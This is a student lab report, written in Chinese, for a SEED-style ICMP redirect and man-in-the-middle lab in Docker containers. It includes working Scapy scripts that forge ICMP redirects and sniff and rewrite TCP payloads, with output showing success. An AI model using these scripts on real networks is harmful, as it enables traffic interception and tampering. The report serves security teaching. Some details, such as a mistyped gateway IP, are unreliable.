LAB 2

57118116 陈煜

Task 1

在 victim 中查看路由信息：

```
[07/15/21]seed@VM:~/.../Labsetup$ dockps
5003e455fd7e  victim-10.9.0.5
33dbe70556e3  host-192.168.60.5
6e08b74f6a87  attacker-10.9.0.105
64e2ef5296d5  malicious-router-10.9.0.111
254d92ae8af9  host-192.168.60.6
0edcbd71d1e0  router
[07/15/21]seed@VM:~/.../Labsetup$ docksh 50
root@5003e455fd7e:/# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0
```

编写代码 icmpredirect.py：

```
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=0)
icmp.gw = '10.9.0.111'
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

```

在 victim 中 ping 192.168.60.5，同时在 attacker 中运行上述代码：

```
root@5003e455fd7e:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.311 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.165 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.289 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.173 ms
```

```
root@6e08b74f6a87:/volumes# python3 icmpredirect.py
.
Sent 1 packets.
```

在 victim 中查看路由缓存信息：

```
root@5003e455fd7e:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 290sec
root@5003e455fd7e:/#
```

发现到达 192.168.60.5 的数据包经过了 10.9.0.111，重定向成功。

在 victim 中 mtr -n 192.168.60.5：

```
                                My traceroute  [v0.93]
5003e455fd7e (10.9.0.5)                                  2021-07-15T16:25:42+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                     Packets               Pings
 Host                              Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.111                      0.0%    38    0.4   0.2   0.1   0.6   0.1
    10.9.0.11
 2. 10.9.0.11                       0.0%    38    0.2   0.2   0.1   0.7   0.1
    192.168.60.5
 3. 192.168.60.5                    0.0%    38    0.1   0.3   0.1   0.9   0.2
```

报文经过 10.9.0.111 和 10.9.0.11 后到达 192.168.60.5。

- Question 1：

将 ICMP 重定向到不在子网内的某一远程主机。选择 192.168.60.6。

清空路由缓存后，修改代码如下：

```
1 #!/usr/bin/python3
2 from scapy.all import *
3 ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
4 icmp = ICMP(type=5, code=0)
5 icmp.gw = '192.68.60.6'
6 # The enclosed IP packet should be the one that
7 # triggers the redirect message.
8 ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
9 send(ip/icmp/ip2/ICMP());
10
```

在 victim 中 ping 192.168.60.5，同时在 attacker 中运行上述修改后的代码：

```
root@5003e455fd7e:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.402 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.365 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.879 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.207 ms
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.160 ms
64 bytes from 192.168.60.5: icmp_seq=6 ttl=63 time=0.169 ms
64 bytes from 192.168.60.5: icmp_seq=7 ttl=63 time=0.111 ms
```

```
root@6e08b74f6a87:/volumes# python3 icmpredirect.py
.
Sent 1 packets.
```

查看 victim 的路由信息：

```
root@5003e455fd7e:/# ip route show cache
root@5003e455fd7e:/#
```

发现 cache 中为空。

在 victim 中 mtr -n 192.168.60.5：

```
                                My traceroute  [v0.93]
5003e455fd7e (10.9.0.5)                                  2021-07-15T16:44:18+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                     Packets               Pings
 Host                              Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                       0.0%     7    0.2   0.2   0.1   0.4   0.1
 2. 192.168.60.5                    0.0%     7    0.2   0.3   0.1   0.4   0.1
```

发现报文经过 10.9.0.11 后到达 192.168.60.5，ICMP 重定向不成功。

- Question 2：

将 ICMP 重定向到子网内不存在的主机上。选用 10.9.0.100。

修改代码如下：

```
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=0)
icmp.gw = '10.9.0.100'
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

```

重复上述攻击过程。

查看 victim 路由缓存：

```
root@5003e455fd7e:/# ip route show cache
root@5003e455fd7e:/#
```

在 victim 中 mtr -n 192.168.60.5：

```
                             My traceroute  [v0.93]
5003e455fd7e (10.9.0.5)                               2021-07-15T16:50:49+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                 Packets               Pings
 Host                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                   0.0%     6    0.2   0.2   0.2   0.2   0.0
 2. 192.168.60.5                0.0%     6    0.1   0.2   0.1   0.2   0.0
```

发现发往 192.168.60.5 的数据包仍然经过 192.168.60.5，ICMP 重定向失败。

- Question 3：

修改 malicious router container 中的下述值为 1：

```
sysctls:
        - net.ipv4.ip_forward=1
        - net.ipv4.conf.all.send_redirects=1
        - net.ipv4.conf.default.send_redirects=1
        - net.ipv4.conf.eth0.send_redirects=1
```

重新进入 victim 和 attacker，重新发起攻击。

```
#!/usr/bin/python3
from scapy.all import *
ip = IP(src = '10.9.0.11', dst = '10.9.0.5')
icmp = ICMP(type=5, code=0)
icmp.gw = '10.9.0.111'
# The enclosed IP packet should be the one that
# triggers the redirect message.
ip2 = IP(src = '10.9.0.5', dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());

```

查看 victim 的缓存：

```
root@78ce9c71bd0d:/# ip route show cache
192.168.60.5 via 10.9.0.11 dev eth0
    cache <redirected> expires 290sec
```

发现法网 192.168.60.5 的数据包经过 10.9.0.11，不经过 10.9.0.111

在 victim 中 mtr -n 192.168.60.5：

```
                          My traceroute  [v0.93]
78ce9c71bd0d (10.9.0.5)                               2021-07-15T17:07:22+0000
Keys:  Help   Display mode   Restart statistics   Order of fields   quit
                                 Packets               Pings
 Host                          Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11                   0.0%    13    0.1   0.2   0.1   0.3   0.0
 2. 192.168.60.5                0.0%    12    0.4   0.3   0.2   0.5   0.1
```

发往 192.168.60.5 的数据包经过 10.9.0.11。ICMP 重定向失败。

Task 2

```
[07/15/21]seed@VM:~/.../Labsetup$ dockps
71afe0e651ad  attacker-10.9.0.105
f30916efdd68  malicious-router-10.9.0.111
096964e1239b  router
d66eece459ac  victim-10.9.0.5
0bf59e165927  host-192.168.60.5
fb16ef36025e  host-192.168.60.6
```

在 192.168.60.5 中监听 9090 端口：

```
root@0bf59e165927:/# nc -lp 9090
```

在 victim 中连接服务器：

```
root@d66eece459ac:/# nc -nv 192.168.60.5 9090
Connection to 192.168.60.5 9090 port [tcp/*] succeeded!
```

连接成功。

修改 malicious-router 中 ip_forward 值为 0：

```
  malicious-router:
      image: handsonsecurity/seed-ubuntu:large
      container_name: malicious-router-10.9.0.111
      tty: true
      cap_add:
              - ALL
      sysctls:
              - net.ipv4.ip_forward=0
```

重新开启容器：

```
[07/15/21]seed@VM:~/.../Labsetup$ dockps
81822682fe7e  malicious-router-10.9.0.111
68019d8f1901  host-192.168.60.5
750090be27de  attacker-10.9.0.105
2455398eab85  router
8ce601457d77  victim-10.9.0.5
acce400cc68f  host-192.168.60.6
```

连接 192.168.60.5 和 victim。

执行同 Task1 相同的步骤，实现 ICMP 重定向：

```
root@8ce601457d77:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 285sec
```

ICMP 重定向成功。

编写 mimt.py 代码如下：

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        if pkt[TCP].payload:
                data = pkt[TCP].payload.load
                print("*** %s, length: %d" % (data, len(data)))
                # Replace a pattern
                newdata = data.replace(b'chenyu', b'AAAAAAAA')
                send(newpkt/newdata)
        else:
                send(newpkt)
f = 'tcp'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

在 10.9.0.111 上运行上述代码。

在 victim 中发送 chenyu，发现在 192.168.60.5 中收到 AAAAAA：

```
root@8ce601457d77:/# nc -nv 192.168.60.5 9090
Connection to 192.168.60.5 9090 port [tcp/*] succeeded!
chenyu
```

```
root@68019d8f1901:/# nc -lp 9090
AAAAAAA
```

```
.
Sent 1 packets.
*** b'AAAAAAA', length: 7
.
Sent 1 packets.
*** b'AAAAAAA', length: 7
.
Sent 1 packets.
*** b'AAAAAAA', length: 7
.
Sent 1 packets.
*** b'AAAAAAA', length: 7
.
Sent 1 packets.
*** b'AAAAAAA', length: 7
.
Sent 1 packets.
*** b'AAAAAAA', length: 7
.
Sent 1 packets.
*** b'AAAAAAA', length: 7
```

MIMT 攻击成功。

- **Question 4：**

在脚本中仅捕获了从 10.9.0.5 发往 192.168.60.5 的数据包。由于攻击的目标是修改从 victim 发往服务器的数据包，因此只需要修改单向数据包，另一方向的数据包不需要修改。

- **Question 5：**

指定 IP 地址时，伪造的数据包未修改 IP 地址，因此仍然会不断发送数据包。

指定 MAC 地址时，代码修改如下：

```python
#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
        newpkt = IP(bytes(pkt[IP]))
        del(newpkt.chksum)
        del(newpkt[TCP].payload)
        del(newpkt[TCP].chksum)
        if pkt[TCP].payload:
                data = pkt[TCP].payload.load
                print("*** %s, length: %d" % (data, len(data)))
                # Replace a pattern
                newdata = data.replace(b'chenyu', b'AAAAAA')
                send(newpkt/newdata)
        else:
                send(newpkt)
f = 'tcp and ether src host 02:42:0a:09:00:05 and dst host 192.168.60.5'
pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)
```

运行程序后发现只发送一个数据包：

```
root@8ce601457d77:/# nc -nv 192.168.60.5 9090
Connection to 192.168.60.5 9090 port [tcp/*] succeeded!
chenyu
```

```
root@68019d8f1901:/# nc -lp 9090
AAAAAA
```

```
^Croot@81822682fe7e:/volumes# python3 mimt.py
*** b'chenyu\n', length: 7
.
Sent 1 packets.
```

分析：

将 IP 地址作为过滤器，恶意路由发送的数据包的源 IP 也为 10.9.0.5，因此会不断捕获自己发出的数据包。

将 MAC 地址作为过滤器，恶意路由只会捕获 MAC 地址为 02:42:0a:09:00:05 即真正的 10.9.0.5 发送的数据包，因此只会发送一个数据包。